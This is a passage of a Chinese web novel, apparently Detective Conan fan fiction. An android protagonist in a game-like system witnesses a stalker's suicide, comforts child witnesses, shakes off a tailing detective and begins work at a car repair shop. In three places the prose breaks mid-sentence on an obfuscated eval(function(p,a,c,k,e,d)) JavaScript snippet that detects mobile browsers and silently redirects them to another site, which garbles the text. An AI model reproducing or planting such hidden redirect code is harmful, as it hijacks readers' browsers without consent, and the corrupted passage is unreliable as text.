知原知也细细分辨着从他们身上体验到的那种浓烈的、汹涌的、亟待喷薄而出的东西。 ——那就是人类的“感情”吗？ 人类的感情，原来竟然可以奇妙到让人蔑视规则和法律、毫不犹豫剥夺同类的生命，哪怕接下来即将接受社会秩序的惩罚也在所不惜吗？ 人类的感情，原来竟然可以奇妙到让人为了另一个人反抗命运，而在命运的巨锤狠狠砸下之后，又会为了保护对方，而心甘情愿隐瞒一切，任由秘密的漩涡将自己彻底吞噬吗？ …… 【滴！扫描结束！发现路人npc——他选择了一场不该开始的爱恋，爱上了不该爱上的人。现在，是时候为自己不成熟的选择付出代价了。】 【滴！扫描结束！发现隐藏支线npc——XO朗姆酒，一种经过两段式的陈酿而成熟的佳酿，一如站在你面前的她。她的动摇发生在很久以前，痛苦无法摧毁她，但爱可以——也许你可以找她聊聊，在她决定将那枚记忆卡寄出或者彻底毁掉之前。】 【滴！扫描结束！发现物品——「薛定谔的记忆卡」】 【物品提示】：一枚不应该出现却出现了的记忆卡，里面似乎储存了某些十分重要的资料，但因为其主人摇摆不定的态度，在完全得到它之前，没有人能断言它是否真正存在过。想要得到它，就需要通过一场记忆卡主人为你准备的、命名为“喜”的试炼。你准备好了吗？ …… 隔着人群，知原知也和那个摇摇欲坠的白裙女人，目光遥遥交汇。 对上知原知也的视线，白裙女人似乎愣了愣，张了张嘴，想要说些什么，但最终选择了沉默。 她深吸一口气，像是鼓起了全部的勇气，拨开前方簇拥的人群，缓缓走近知原知也。 “不要伤害无辜的人，晴人……我们谈谈。” 女人轻声说，满含痛苦与挣扎的漆黑眼眸对上男人布满血丝的狰狞双眼。 她明显想要再继续说点什么，可男人已经听不进去了。 ——女人的出现，似乎起到了反效果。 红衣男原本已经逐渐平稳的握刀的手，随着白裙女人越众而出的动作后，再次剧烈地颤抖了起来。 “有理酱！我知道你一定不会那样对我的，之前的话只是开玩笑的，对不对……” “冷静下来吧，晴人，我们已经分手了，别再继续纠缠下去了……” 两个人类隔着一具智能体，情绪异常亢奋地，展开了一番让智能体完全摸不着头脑的情感对峙。 知原知也一句都没听懂。 知原知也感觉有些沮丧。 虽然搭载了高维智能模块，但从本质上讲，知原知也却仍旧只是一堆冰冷的机械零件。 机械零件不懂得人类的爱恨情仇。 但由机械零件构成的知原知也，却对人类的情感情绪很有兴趣。 他耐心收录着两人的对白。 “不！我不同意分手！为什么要跟我分手？是因为那些在我们约会时不停打给你、又被你挂掉的电话吗？那是你的什么人？家人？朋友？还是让你决定离开我的、被你爱上的另一个男人？” “晴人、不要再说下去了！我做的这一切都是为了你——” “是家人吗，有理酱？如果你是因为家人不同意我们在一起的话，为了得到他们的认可，我什么都会去做的！我什么都愿意为你去做的！” “冷静一点，晴人，现在听我说——放下刀，跟我回去，这件事我们可以私底下好好聊！等离开这里之后我们好好聊一聊，可以吗？” “——可是，已经来不及了啊，有理酱……” 红衣男人忽然惨笑一声，原本抵在知原知也脖颈上的刀，猛的抬起，雪亮亮、明晃晃的刀尖正对着自己左胸心口！ 惨白的刀光在夜色中激起一片不祥的躁动。 红衣男人开始流泪，一边哭，一边笑，眼泪鼻涕糊了一脸，从内而外散发出的澎湃汹涌的情感，令距离他最近的智能体都感到了明显的不适。 “有理酱，我知道，你一直都想要离开我，我知道你一直把我当成你的负担，你的污点……” 然后。 “——再见了，有理酱。能死在最爱你的时刻，我很满足。” 寒光闪过…… “等等、晴人！” “是血！是血！他在流血啊啊啊啊！！！！！” “救命啊，死人了！！！！！！！” 惊恐的尖叫声，瞬间刺破了寂静的黑夜。 …… …… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16595863|187445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时间仿佛在这一刻停滞。 完全无法理解事情为什么会发展到这一步的智能体，先是感觉到一股炽热黏稠的液体喷溅到自己的脸颊上，紧跟着，眼前的视野就开始大片大片变得血红。 “……” 知原知也有些不知所措地站在原地，看着人群开始拥挤、混乱，紧接着，是刺耳的警笛越靠越近。 挟持自己的红衣男人挥刀自尽了，而那个被对方尾随着、狂恋着、挽留着的白裙女人，却不知什么时候悄然隐没在人群中，没有引起任何人的注意…… 杂乱的脚步声响起。 有人推开知原知也，手忙脚乱去搀扶轰然倒地的红衣男人，有人则大呼小叫着指挥人群让开一条路，让风驰电掣赶到这里的救护车和医生们先进来。 现场一片混乱。 很快，越来越大的警笛声戛然而止，有一群眼熟的警察迅速分开人群，接管了现场，为首的警官知原知也很熟悉，正是他之前在投毒案中认识的小圆帽警官…… 夜愈深。 风渐冷。 知原知也孤零零站在人群之后，垂下眼，沉默的好像一具没有激活过智能系统的机械体同类。 “——喂！你没事吧？” 衣摆处再次传来一股微弱的力道。 声纹系统捕捉到近在咫尺的声音来源，知原知也一顿后，慢慢低下了头。 下一刻，在三个幼年体人类惊恐慌乱的眼底，知原知也看见了满脸是血的、自己的倒影。 “你、你……” 蓝眼睛的男孩似乎是被知原知也浑身是血的样子吓了一跳，结结巴巴好一阵，愣是没组织出有效的语言。 扎着发箍的短发女孩眼泪又掉了下来，但攥着知原知也衣角的手却没有松开。 长发的女孩抱着自己朋友，用那双漂亮又清澈的、如同天空一般的蓝眼睛注视着知原知也，然后，很费劲的伸出手，在自己口袋里掏了掏。 很快。 小小的人类幼年体踮起脚尖，将一条干净柔软的手帕塞进了知原知也的手心里。她指了指自己的脸，声音虽然颤抖，语气却很坚定地说：“擦一下吧，大哥哥……你的脸上有好多血……！” 知原知也握着手帕，面无表情，沉默地注视着那滩已逐渐蔓延至自己脚下的血泊，没有说话。 过了好一会儿。 直到小圆帽警官目暮十三在目击人群七嘴八舌的证词下，阔步朝这边走过来时，蓝眼睛的男孩，忽然听见身边那个言行古怪的、似乎是被突如其来的死亡吓到的青年，低声说了一句。 “原来，心脏搏动的频率是这样的啊……” “……什么？”男孩费解地抬头看向对方，“你刚才说了什么吗，哥哥？” “我说，”在男孩瞳孔地震的注视下，表情冷漠、眼神空洞的青年声音低沉又飘渺，“——原来心脏搏动的频率，和血液泵出、喷溅在脸上的频率，居然真的是一样的啊。” ——原来，生命居然就是这样，脆弱而又滚烫地存在着啊。 知原知也想。 …… …… 混乱的人群里。 一个面色复杂的男人压下帽檐，按住了自己的耳麦。 “目标死了。” “知道了，我会把那东西回收的。但现在还不行。给我点时间。” “哈，遇到了一个很有意思的家伙。放心，不会影响你接下来的行动的，Rum。” 警灯恰在此刻亮起，照亮了男人一身笔挺的西装，和那张知原知也熟悉的面容。 11. 奇怪的短路 人类警官们的工作效率非常高。 仅仅只过去了不到半个小时，知原知也和身边其他一些目击者群众，就在警官们井然有序的组织下，分别录取完了针对本次当街自残事件的口供。 夜已经很深了。 更深露重，夜风吹在身上，寒意几乎要浸透进人的骨子里。 机械构成身躯的智能体是不会冷的。 知原知也坐在街角的长椅上，低下头，默默注视着蜷缩在自己身边的、那三个抱着手臂瑟瑟发抖的人类幼年体。 ——资料显示，人类幼年体很脆弱，往往一场普通的风寒感冒，就能让他们失去所有的温暖与心跳，再也没办法睁开眼睛…… 一条被血污弄脏的、犹带体温的手帕，以及幼年体看向自己时那恐惧却坚定的眼神，几乎同时浮现在了知原知也的眼前。 略微沉默，知原知也最终还是抬起手臂，脱下了自己的外套，一言不发地，将外套兜头罩在三个幼年人类的肩膀上。 知原知也歪头观察了片刻。 外套很宽松，但三个幼年体加在一起，面占地面积委实不小。 在确认三个幼年体并没有被外套很好地覆盖住后，知原知也略微犹，很快思考，又伸出手，将本就靠在一起彼此取暖的三个幼年人类又往中间挤了挤，然后用力抻了抻外套，尽可能将幼年体们更大范围笼罩在外套之下。 最后，他拾起自己外套的衣袖，绕着三个小孩围了一圈，打了个结精致结实的反手结。 “——这样好一些。” 面对三个小孩不知所措的呆愣表情，知原知也反应平平，冷着一张脸，面无表情问。 “——现在还冷吗？” “……” “……” 他没有得到答案。 左眼飞快闪过一抹红光，知原知也仔细扫描了一下幼年体，发现对方状态数值正在缓缓下滑后，系统快速运算一阵，很快做出了一个决定。 ——在众目睽睽之下，冷面酷哥知原君抬起手，指尖捏住了自己外套之下仅剩的那件单薄黑T下摆，作势要向上掀起。 “！！” 三个小孩当即瞳孔地震。 三人中唯一的男孩子飞快钻出知原知也的外套，一把按在对方跃跃欲试的手背上，语速急促：“别、不用了！我们很好！已经完全不冷了！！” 知原知也眨了眨眼，慢吞吞“哦”了一声，缓缓松开了衣摆。 ——一副很失望的样子是怎么回事啊你这人？！ 真要是把最后一件T恤都脱了，估计在场警察们下一秒要抓的变态就要变成你了啊，知原先生！ 男孩子抽了抽嘴角，忍不住半月眼，感觉自己心累极了。 …… 经过刚才这一番打岔，原本困乏沉默的气氛已经被打破。 蓝眼睛的男孩子往长椅那头的知原知也身边挪了挪，微微侧头，很好奇地打量着知原知也。 这样的打量不含有任何恶意，只是纯然的好奇，因此知原知也并不排斥，甚至很适应。 “你好，”苍白冷漠的脸上熟练浮起一抹三像素点的微笑，知原知也伸出手，向对方晃了晃，“我的名字叫做知原知也，很高兴为您服务，小先生。” “……” ……很高兴为您服务又是什么鬼啊？！这人目前的工作该不会是电话销售吧！！ 男孩表情一言难尽看着他，但片刻后，还是伸出了手，和知原知也碰了碰：“我是工藤新一，是一名侦探。这两位是我的青梅竹马毛利兰，和朋友铃木园子。” “你们好，小小姐，今晚夜色很不错。” 毛利兰和铃木园子两个人被埋在知原知也那件超大超宽松的外套里，声音闷闷的：“之前，还没感谢知原先生救了我……” “不必。”知原知也说，“幼年体一向享有最高优先权。这是我应该做的。” “……完全听不懂知原哥哥在说什么哎，小兰，”戴着发箍的铃木园子小心翼翼戳了戳小伙伴，“你听懂了吗？” 毛利兰犹豫了一下，幅度很小地摇了摇头。 两个幼年体人类蜷缩在那间带着阳光气息的宽大外套下面，脑袋挨着脑袋，凑在一起嘀嘀咕咕小声说着话，像两只彼此凑近、互相舔毛的猫咪小姐·幼年版。 场面和谐又温馨，令见者忍不住会心一笑。 知原知也看着她们，脑海里，却很不合时宜地回想起了方才的一幕幕： 鲜血喷溅到脸颊上的温度； 伤口处随着心搏跳动而汩汩喷涌的血花； 还有，在视野忽然变红的一瞬间，胸腔位置处传来的，那一串极其异样的数据波动…… 知原知也抬起手，按住了自己的胸口。 刚才，似乎就是这里…… “——还在想刚才的事吗？” 清脆的童音在身旁响起，知原知也下意识点头。 “你已经做得很好了，知原先生。” 工藤新一侧头注视着知原知也，那双湛蓝的眸子，清澈得好像能映出世界最本真的模样。 他的声音平和稳定，带着一种不属于这个年龄段该有的理性和睿智：“你保护了兰，控制住了罪犯，没有让他伤害到那位有理小姐、亦或是在场的其他任何一个人——你已经做到你能做到的全部了。至于最后的结局……你不必太放在心上。” “……” 知原知也不知该说出些什么。 方才胸腔处那串异常数据的扰动，似乎造成了中央处理器的短时短路。 此时此刻，在数据运算模组的短时停摆之下，知原知也除了沉默，似乎也确实给出什么更优的反应了。 于是，知原知也没有说话，只是再次颔首。 “嗯。” “——这里，”工藤新一忽然点了点自己的眼角，示意知原知也注意，“知原先生眼尾的这个地方，还有一点残留的血迹，没有擦拭干净哦。” 这么说着，工藤新一像是突然发现什么特别的东西，再次凑近知原知也了一些，指着自己左侧眉弓上方往下的一处皮肤：“知原先生，你这里……” 他在自己脸上比划了一下。 “从这里，到这里——有一条很浅很曲折的蓝色线条，左右脸颊上也都有类似的。这是什么？” “是纹身。”其实是机械制品的拼接线。 “……纹身？”工藤新一战术后仰，看向知原知也的眼神莫名带上了一丝微妙。 ——像是知原先生这么冷峻严肃的人，居然也会模仿极道社团，在自己的脸上纹绣这种非主流纹身吗？ “嗯。好看。” 口中重复着向被引导者们解释过无数次的答案，知原知也模仿着对方的动作，抬起手，轻轻触摸了一下自己的眼尾。 一点黏腻冰冷的液体被指腹晕染开来。 知原知也下意识低头，目光注视着那抹顺着自己的指尖缓缓扩散开的猩红，一双异色的瞳孔，有一瞬短暂的收缩。 “血……” “嗯？怎么了？需要手帕吗？我这里还有。”工藤新一问，同时伸手去掏自己的口袋。 然而知原知也却仿佛没有听见他的话，只怔怔看着自己指尖那枚血珠，口中仿佛魔怔般的自言自语： “刚才还是热的血……这么快就变冷了……” 知原知也的声音很轻很轻。 但工藤新一坐得离知原知也足够近，因此，他的这番自语，自然毫无意外全部地传进了工藤新一的耳朵里。 工藤新一：“……？” 他有些莫名其妙，并且摸不着头脑。 短暂思考片刻，工藤新一开始认认真真给这个时而靠谱时而奇怪属性大爆发的知原先生科普： “血液离开人体之后，一般会在3-5分钟内快速凝固，失去活性。失温和尸斑也是在这个过程中发生的。针对血液 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16595864|187445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的这个特性，警察一般会将尸体温度和尸斑位置与程度，作为判定死亡时间的有效量表……” “——喂、工藤！你这小子！明明知道知原哥哥不舒服，这种时候就不要再说这么可怕的话了啊！！” 裹着知原知也那件蓝白色机车系外套的铃木园子，在小心翼翼偷瞄一眼苍白沉默的知原知也过后，顿时没忍住，对着情商负数的小伙伴怒目而视。 “我爸爸马上就来接我了，小兰的妈妈也是！你呢？你到底有没有联系家长啊？等下该不会还要我和小兰陪你在这里吹冷风等家长来接吧？！” 工藤新一“……”一阵，注意力成功被转移。 他摸了摸自己的后脑勺，眼神发虚，笑声尴尬：“哈、哈哈哈哈……没关系啦，他们因为被催稿的关系，现在估计已经踏上了前往拉斯维加斯的飞机准备去美国那边躲一阵子了……” 【滴！系统修复中……修复成功！】 【滴！系统线路重新连接中……连接完毕！】 【滴！玩家知原知也，您好：系统已为您修复短路线路！感谢您对本系统的信任与支持，请不要大意地继续探索游戏吧！】 啊…… 胸腔处线路的短时短路被系统修复好了，知原知也很快也从那种奇怪的、让智能体摸不着头脑的古怪bug中挣脱了出来。 他有些同情地摸了摸幼年体的脑瓜：“那么，你今晚需要自己回家了吗？警察那边的调查估计还有不到一个小时结束，你还有其他亲属能过来接你吗？” 工藤新一摇了摇头。 更可怜了…… 于是工藤新一就这样看着身边这个总是面无表情的冷脸酷哥知原先生，用一种仿佛在看什么柔弱可怜的小动物一般的、同情且怜爱的眼神，上上下下打量着自己。 片刻后。 他听见对方说。 “——要跟我一起回家吗？猫咪小姐也许会喜欢你。” 工藤新一：“……” 工藤新一半月眼斜睨他：“如果你的声音再大一点的话，知原先生——我想，专门负责打拐的特殊犯一系的警官，或许很快就会去你家敲门送温暖了。” 知原知也眨眨眼，“哦”了一声。 “还有一件事，知原先生。” “嗯？” “你刚才……” 工藤新一一格一格缓缓扭过头，眼底的幽怨几乎要凝成实质化的怨念黑气：“你刚才，是不是把眼尾擦掉的血……抹到我的头发上了？！” 知原知也：“……” 知原知也：“…………” 知原知也面色平静，慢吞吞地移开了目光。 “——啊，今晚夜色不错。” …… …… 一切就如知原知也预计的那样，警方的问询与笔录，结束在第48分钟。 死者的尸体早已经被搬运走，地上斑驳的血泊也得到了简单的打扫。 警戒线被撤下。 被警方控制住的现场目击者们三三两两结伴离开。 知原知也低头，看了一眼左手背处、那块电子屏幕上显示的时间。 ——23:23。 已经很晚了，猫咪小姐也许已经睡着了。 慢吞吞从公园长椅上站起身，知原知也谢绝了热情的小圆帽警官递过来的热饮，目送那三个人类幼年体依次被各自家长接走后，转过身，缓缓踏上了回家的路。 哒。 哒。 脚步声踏碎凄清月光，知原知也面无表情，平静听着脑海中自动扫描功能区的提示音。 【滴！扫描结束！右后方转角阴影处发现重要支线npc——小船真一！】 【说明：自从上次投毒案结束之后，这位负责誊抄笔录的警官先生对你的关注度，就大幅上涨……你也许应该反思一下，自己究竟什么地方出了问题，才会招来这位小船真一警官的趁夜尾随。】 12. 那你们的友谊还真伟大啊... 【猫咪的鼻尖也会带电吗？可以被维修吗？ 指尖微麻发软，机体短暂断开接驳，浑身无力，胸腔处发现异样发热……判断为陌生木马病毒入侵，已开启消杀模式。进入待机模式。 另，猫咪小姐的服务意识略差，可视情况进行服务行业职业规范引导。】 ——节选自《人类观察日志·RN0947》 ———————— 哒…… 哒…… 哒…… 月色凄清，夜色静谧。 在空无人烟的深夜街头上，一前一后两道人影，正不紧不慢地悠然漫步。 知原知也走的并不快。 他不知道那位名叫“小船真一”的记录警官在深夜尾随自己究竟打算干什么，因此有意放慢脚步，等待对方追上并叫住自己。 可他失算了。 遥遥缀在自己身后的那位小船警官，似乎并没有打算靠近的意思，只是保持着一种不至于被知原知也发现、与此同时也不会被甩开的理想距离，远远跟着知原知也。 对方将距离保持得很好，反跟踪技巧也炉火纯青，如果不是扫描模板自动扫描到小船真一的信息，知原知也或许直到现在都不知道，有一条来意不明的小尾巴，正紧紧黏在自己的身后。 …… 再次转过一个街角，知原知也身影一晃，很快，没入了一大片低矮的建筑物之中。 远远跟着知原知也的小船真一警官微微一惊，随即下意识加快脚步，寻着对方消失的方向快步追了上去。 哒哒哒！ 急促的脚步声回荡在黑夜里。 很快，小船真一便一头撞入了环境复杂的商业街区。 密密麻麻的街区建筑物鳞次栉比，反光的玻璃橱窗与店铺里的穿衣镜彼此照应，于是，无数半透明的虚幻镜像便如同万花筒里的水晶图案，毫无章法地迅速开始一折二、二折四…… 很快。 无数交织在一起的镜像，就将分明只有一个人的街道，映照出了某种人流交织、鬼影幢幢的诡异即视感。 置身在无数反光玻璃与镜面构成的虚虚实实的镜像世界里，小船真一一眼扫过，登时便感到一阵剧烈的眩晕。 “……” 眼前景物无法抑制地旋转扭曲，他不得不被迫停住了脚步，止步不前。 真实的小船真一停驻在原地，镜像中不断左奔右突、眼花缭乱交替闪现的小船真一，很快也停下了脚步。 无数或实或虚的人影交错在一起。 小船真一置身其间，忽然，察觉到一丝不对。 他猛然抬头，看向面前一面静止不动的玻璃反光中倒映出的、属于自己的影子…… 下一秒，他便无比清晰地看见—— ——一张轻飘飘的淡蓝色便签纸，就那样，安安静静蜷伏在无数镜中自己的背脊之上，像是威慑，又像某种猫捉老鼠的戏谑作弄，明晃晃嘲笑着自己不自量力的探寻。 小船真一：“……” 眼底的烦躁迅速转变成愕然与惊悚。 他当即背手向后，比对着无数镜像中纸条的位置，猛地，一把将便签纸从背心一撕而下！ 巴掌大小的便签纸被送至眼前。 很快，一行端方板正、宛如打字机打印出来的蝇头小字，就这样毫无预兆地出现在了小船真一的面前—— 【晚上好，很高兴认识您，小船警官。 在下私以为，跟踪并非绅士所为。小船警官如果对投毒案还有什么疑问，欢迎随时来找我质询。想必您应该有我的联系方式。】 “……”小船真一哑然。 指尖微动，他轻轻触摸了一下纸条。 下一秒，就见未干的油墨被自己的指腹抹花，在干净的便签纸上，拖出长长一条难看的墨迹。 “知原知也么……” —————— 次日。 灿烂的晨光穿过窗帘缝隙，洋洋洒洒铺开在床铺上。阳光中蕴藏的微弱日光能量，很快唤醒了待机状态的智能体。 知原知也慢吞吞睁开眼，瞳孔因信号接入而飞快闪烁两下。 “咪……” 懒洋洋的猫叫声在身前响起。开机成功之后，知原知也很快就察觉到，自己机体的胸膛处，多出了一个沉甸甸、暖烘烘的重物。 “早安，猫咪小姐，”冰冷的机械胸腔轻轻震动，知原知也用指尖小心翼翼地触碰了一下猫咪小姐的额头，“今天天气很好，适合睡回笼觉。” 猫咪小姐“咪呜”了一声，抬头，用柔软湿润的鼻尖轻轻碰了碰知原知也的指腹。 “……” 奇异的触觉在指尖萦绕。 知原知也有些无措地蜷了蜷自己被猫咪亲吻过的手指…… ——刚才，有那么一瞬间，他忽然感觉浑身无力，就好像身体各处的重要零件，都在瞬间和中央控制器断开了接驳一样。 怪异的扰动再一次从胸腔处的线路中发生…… 昨天曾经发生过的奇怪短路，就在刚才——似乎又再一次出现了！！ 知原知也大惊失色！ ——短路一再发生，肯定是有新型病毒入侵了中控中心！ 为防中控系统遭到病毒进一步破坏，机体必须立刻执行自我消杀！ 主意已定，在默认了猫咪小姐可以继续占据自己的胸膛打瞌睡之后，知原知也眼底瞬间红光大盛，下一秒，便果断开启了主系统的自我消杀和修复功能。 【滴！系统正在进行病毒查杀，为防止数据丢失，请暂停一切工作，等待结果！】 知原知也放开中央控制权，浑身僵硬，一动不动仰躺在床上，面无表情，目光空洞，静静等待着消杀结束。 很快。 在一声提示音后，知原知也的眼神再次缓慢亮起。 【滴！查杀结束，未发现可疑目标！玩家知原知也，祝您游戏愉快！】 【滴！修复结束，检测到机体受损程度—0％！修复进度—0％！玩家知原知也，祝您游戏愉快！】 “……” “……” “喵？” 知原知也的胸前，圆滚滚的肥美三花舒舒服服地张开猫爪，力道适中地踩了踩爪下人类小弟触感极佳的胸腹处肌理。 在浑身惬意地伸了个懒腰之后，她一甩尾巴，动作灵巧地从人类小弟的胸口上跳开。 “咪——！” 猫咪小姐中气十足。 ——人，快起床！再不出门打猎的话，今天人就又要饿肚子啦！ 知原知也：“……” 知原知也垂下了眼睛。 摸了摸自己空落落的胸膛，知原知也等了好一会儿，确定猫咪小姐不会再回到自己胸膛上打盹后，这才顶着一头支楞八翘的艳丽蓝毛，磨磨蹭蹭地起身，磨磨蹭蹭爬下床，磨磨蹭蹭换好衣服，磨磨蹭蹭挪出了卧室…… 五分钟后。 “——喵嗷！！” 做什么都磨磨蹭蹭的智能体，在被爱操心的猫咪小姐施以一通愤怒的喵喵拳后，跌跌撞撞、狼狈不堪地…… 被猫咪小姐赶出了家门！ “猫咪小姐——” 狼狈不堪的智能体蹲在家门外，眼巴巴地看向门口正气势汹汹冲自己哈气的三花猫咪，从来都面无表情的脸上，莫名多出了某种沮丧又失落的意味。 他冲猫咪伸出手。 “可以来我的胸口，和我再贴贴一下吗？” “哈——！” “啊，那摸摸可以吗？” “哈——！！” “摸摸也不可以吗……猫咪小姐，你的服务态度真的很差劲，当心被要求严格的人类投诉举报。” 知原知也站在引（服）导（务）者（生）前辈的立场上，居高临下，如此指指点点道。 对此，猫咪小姐的回应是…… “哈——！！！” …… 两分钟后。 柔韧坚固的仿真皮肤上多出了一道鲜红夺目的猫爪印，知原知也捂着脸，顶着乱糟糟的头毛，一步三回头地离开了家，面无表情走向修车行的方向。 …… …… 在猫咪小姐坚持不懈的敦促之下，今天的知原知也，顺利在早上九点的时刻，踩着点，刚刚好跨入了【沢田修车行】的店门。 “知原君，早啊！” 名叫三木宏达的络腮胡男性热情地凑了上来，知原知也打了个招呼。 知原知也礼貌地点了点头：“三木先生早，今天天气很好，希望您的心情也能如同天气一样。” “哈哈哈哈哈哈！你小子！” 三木大笑，手掌用力拍了拍知原知也的肩膀，留下一道浅浅的灰黑色机油印记。 知原知也侧目，看了一眼自己的肩膀，忽然想起，在自己被松田阵平带来这家修车行的第一天、刚刚认识三木先生起，对方的手掌，似乎就无时无刻不沾满了各种灰尘油污。 ——是一个很热爱工作的人类男性啊。 知原知也这么想。 很快，其他同事也陆陆续续从自己的工作中抬起头，十分友好地和知原知也打了个招呼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16595865|187445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 知原知也一一回应。 将个人物品摆放好后，知原知也脱掉了自己的外套，换上工作服，下一秒，就被三木连人带工具箱提溜到了修车行的一处车间里。 “——昨天答应要教知原君你简单的发动机维修，现在刚好没什么事，不如我们这就开始吧？” 知原知也自然无有不可，点点头：“好的。” 三木先生对后辈的乖巧非常满意。 于是，出于前辈的责任，他当仁不让，当即脱掉上衣系在腰间，露出背心一枚青黑色的太阳纹身，整个人呲溜一下往一台吊起的待维修车辆车底一钻，片刻后，声音闷闷在车底响起。 “发动机的故障主要是因为……” …… 知原知也听课听的很认真。 一个小时后，他将三木宏达教导的理论贯彻于心，倒背如流； 两个小时后，他在三木宏达震惊不已的表情注视下，拎着自己的小工具包钻进车底，三下五除二，不仅修好了发出异响的发动机，还顺便把影响车辆性能的其他部件全部更新加固了一遍； 三小时后…… 看着在自己面前彻彻底底焕然一新的客单丰田，三木宏达咧开嘴角，毫不犹豫地冲刚从车底钻出来的灰扑扑后辈竖了个大拇指： “——很有天赋嘛，知原！照目前的进度来看，你现在就可以独立对接客户、接单开工了！” “真的吗？” 一身脏兮兮的小后辈从车底钻出，此时正睁着一双在日光灯照射下显得格外明亮的异色瞳孔，直勾勾地看着自己。 ——后辈一定是在向自己寻求肯定！ 一瞬间被身为带教前辈的责任感和使命感冲昏了头脑的，三木宏达超级用力地点了头不说，当场还随之附送了一段十分之走心的大力夸奖，以示对后辈的肯定： “——真的真的！以知原你现在的水平，你完全有能力自己跟进一份客单了！” “好的，请稍等。” 稍等……？ 稍等什么？ 三木宏达有些摸不着头脑。 然而，就在三木宏达晃神的那么一小会儿空隙里，三木宏达就眼睁睁看到——被自己认定为乖巧纯良有天赋的绝世好后辈，连眼都不眨一下，非常丝滑地就将一张早已工工整整填写完毕、只等车行接收的客户合同单推到了自己的面前！ ……然后继续用那种明亮又清澈的眼神，面无表情地继续直勾勾地看着自己。 三木宏达：“？” 他低头看看客户单上委托方签定的“萩原研二”名字，又看看面前性格单纯、在机械维修这一行上天赋绝佳的乖巧后辈。 “……”一阵后，三木宏达有些哭笑不得。 “看来，你已经给自己选好入行后开的第一份客单了吗，知原君？” “是的。” “那好吧，就让我来看看能被萩原那小子送来维修的车究竟有多棘手，说不定我还能帮你指导一——” 三木宏达：“……” 三木宏达：“…………” 三木宏达合上合同书后附的照片部分，沉吟片刻，指着款项一栏，看向知原知也，尽可能委婉地询问：“……这就是你给萩原那个混小子的报价？” ——真就是一点人工修理费都不要，单纯只收取原厂零件的成本价？ 你小子在搞什么？做慈善吗？？ 迎着三木宏达质疑的表情，知原知也点了点头，回以对方一个十分肯定的眼神。 三木宏达：“……” 一分钱都不赚的单…… 那真的是很有良心了。 心中思绪一闪即逝，三木宏达重重拍了一下知原知也的肩膀，表情沉痛，语气微妙：“你们，一定是很好很好的朋友吧？” “呃……算是？” 知原知也有些不确定的想——毕竟他还没有正式询问过对方是否愿意和自己缔结独属于人类的、长期稳定的社交关系。 事实上，不止是和萩原研二。 如果可以的话，知原知也还想和那四个现在是警校生、等毕业之后就会顺利转职成在职警察，成为和副本「极恶都市」中反派npc们对抗的正义阵营中坚力量的人类，也一并缔结稳定社交关系，以便于稳定推进副本的主线进程，早日储备好能源，找回失联已久的被引导玩家。 “那你们的友谊还真伟大啊……赫赫……” 仿佛梦游一般，满脸络腮胡的三木友仁前辈踩着轻飘飘的步子，“赫赫”笑着，飘远了…… 仿佛在躲什么瘟神。 13. 浓度太高 接下来的一段时间里，知原知也的生活，可谓是过得险象环生、精彩纷呈。 上下班路上偶遇连环杀人犯的夺命飞车，工作时间按照预约检修单□□时目睹单主“被自杀”现场，结束外派工单返回店里时又正好赶上银行劫匪持枪抢劫案…… 在第N次协助警方放倒光天化日之下行凶的罪犯后，知原知也看向身边正“呼呼”喘着粗气的警官先生，犹豫片刻，委婉询问： “——目暮警官，这次我是见义勇为……这样也要去警视厅配合您做笔录吗？” 目暮警官抹了把脸上的汗水，闻言，也有些无奈。 “按照规定来说，是需要的。” 语毕，他回想起这一月以来，对方进出警视厅十余次的辉煌战绩，以及警视厅大楼门前值班的同事都已经对知原知也眼熟的恐怖熟稔度…… 目暮警官半月眼，把犯人拷上后，回过头，有些无奈地拍了拍知原知也的肩膀：“我说，知原老弟啊——你这个瞪谁谁死的体质，是真的不能稍微收敛一下吗？这一个月来，我们搜查一课的KPI可都是围绕知原老弟你展开的啊！再这样下去，以后你干脆直接住进我们搜查一课的办公室当个外聘人员算了！” “……” 知原知也垂下了脑袋，有些沮丧并且疑惑地说：“很抱歉，但我也不知道是怎么回事。感觉每次出门都会遇到奇怪的事……我会考虑减少不必要的外出次数的。” 目暮警官：“……” ——倒也不是出门的问题吧？ 毕竟在知原老弟这种离谱的事件体质影响下，他们上个星期才从知原老弟租住的公寓隔壁逮走一个变态杀人犯啊！ 这叫什么？ 这就叫人在家中坐，案件也会如期而至啊！！ 摸了摸自己日渐消瘦的肚腩，目暮警官惆怅叹气，安慰自己就当是在减肥了。 在组织部下疏散围观民众、收集好现场证物之后，目暮警官在附近找了一圈，终于在街角某处树荫底下，找到了正抱着猫，沮丧蹲在树根边的送业绩工具人——知原老弟。 